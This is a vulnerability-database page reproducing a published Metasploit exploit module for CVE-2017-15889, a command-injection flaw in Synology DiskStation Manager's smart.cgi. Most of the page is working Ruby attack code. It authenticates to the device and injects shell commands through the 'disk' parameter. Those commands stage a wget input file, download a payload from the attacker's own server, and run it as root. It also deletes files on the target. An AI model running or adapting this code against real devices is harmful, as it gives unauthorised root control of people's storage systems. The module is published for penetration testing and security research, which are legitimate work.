Lucene search
K

Synology DiskStation Manager smart.cgi Remote Command Execution

🗓️ 22 May 2020 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 231 Views

Synology DiskStation Manager smart.cgi Remote Command Execution. Allows execution of commands under root privileges after website authentication. Vulnerability in webman/modules/StorageManager/smart.cgi allows appending of a command to the device for scanning. Limited to 30 characters, requires a valid drive name. Circumvents character restriction using wget to stage an input file and execute the payload

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)  
&junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)  
versions < 5.2-5967-5, which allows the execution of arbitrary commands under root  
privileges after website authentication.  
The vulnerability is located in webman/modules/StorageManager/smart.cgi, which  
allows appending of a command to the device to be scanned. However, the command  
with drive is limited to 30 characters. A somewhat valid drive name is required,  
thus /dev/sd is used, even though it doesn't exist. To circumvent the character  
restriction, a wget input file is staged in /a, and executed to download our payload  
to /b. From there the payload is executed. A wfsdelay is required to give time  
for the payload to download, and the execution of it to run.  
},  
'Author' =>  
[  
'Nigusu Kassahun', # Discovery  
'h00die' # metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2017-15889' ],  
[ 'EDB', '43190' ],  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],  
[ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]  
],  
'Privileged' => true,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Platform' => ['python'],  
'Arch' => [ARCH_PYTHON],  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PrependMigrate' => true,  
'WfsDelay' => 10  
},  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Nov 08 2017'  
)  
)  
  
register_options(  
[  
Opt::RPORT(5000),  
OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),  
OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),  
OptString.new('PASSWORD', [true, 'The Password for Synology', ''])  
]  
)  
  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
]  
end  
  
def check  
vprint_status('Trying to detect installed version')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),  
'vars_get' => { 'host' => '' }  
})  
  
if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN  
version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"  
build = $LAST_MATCH_INFO[:build]  
model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }  
model = "DS#{model}" unless model =~ /^[A-Z]/  
else  
vprint_error('Detection failed')  
return CheckCode::Unknown  
end  
  
vprint_status("Model #{model} with version #{version}-#{build} detected")  
  
case version  
when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'  
return CheckCode::Appears  
when '5.2'  
return CheckCode::Appears if build < '5967-5'  
end  
  
CheckCode::Safe  
end  
  
def on_request_uri(cli, _request, cookie, token)  
print_good('HTTP Server request received, sending payload')  
send_response(cli, payload.encoded)  
print_status('Executing payload')  
inject_request(cookie, token, 'python b')  
end  
  
def inject_request(cookie, token, cmd = '')  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),  
'cookie' => cookie,  
'headers' => {  
'X-SYNO-TOKEN' => token  
},  
'vars_post' => {  
'action' => 'apply',  
'operation' => 'quick',  
'disk' => "/dev/sd`#{cmd}`"  
}  
})  
end  
  
def login  
# If you try to debug login through the browser, you'll see that desktop.js calls  
# ux-all.js to do an RSA encrypted login.  
# Wowever in a stroke of luck Mrs. h00die caused  
# a power sag while tracing/debugging the loging, causing the NAS to power off.  
# when that happened, it failed to get the crypto vars, and defaulted to a  
# non-encrypted login, which seems to work just fine. greetz Mrs. h00die!  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),  
'vars_get' => { 'enable_syno_token' => 'yes' },  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'passwd' => datastore['PASSWORD'],  
'OTPcode' => '',  
'__cIpHeRtExT' => '',  
'client_time' => Time.now.to_i,  
'isIframeLogin' => 'yes'  
}  
})  
if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body  
result = JSON.parse(json)  
  
fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'  
if result['result'] == 'success'  
return res.get_cookies, result['SynoToken']  
end  
  
fail_with(Failure::Unknown, "Unknown response: #{result}")  
end  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if datastore['SRVHOST'] == '0.0.0.0'  
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')  
end  
  
begin  
print_status('Attempting Login')  
cookie, token = login  
  
start_service({ 'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req, cookie, token)  
end,  
'Path' => '/'  
} })  
  
print_status('Cleaning env')  
inject_request(cookie, token, cmd = 'rm -rf /a')  
inject_request(cookie, token, cmd = 'rm -rf b')  
command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)  
command_space = 22 - "echo -n ''>>/a".length  
command_space -= 1  
command.each_slice(command_space) do |a|  
a = a.join('')  
vprint_status("Staging wget with: echo -n '#{a}'>>/a")  
inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")  
end  
print_status('Requesting payload pull')  
register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')  
register_file_for_cleanup('/a')  
inject_request(cookie, token, cmd = 'wget -i /a -O b')  
# at this point we let the HTTP server call the last stage  
# wfsdelay should be long enough to hold out for everything to download and run  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation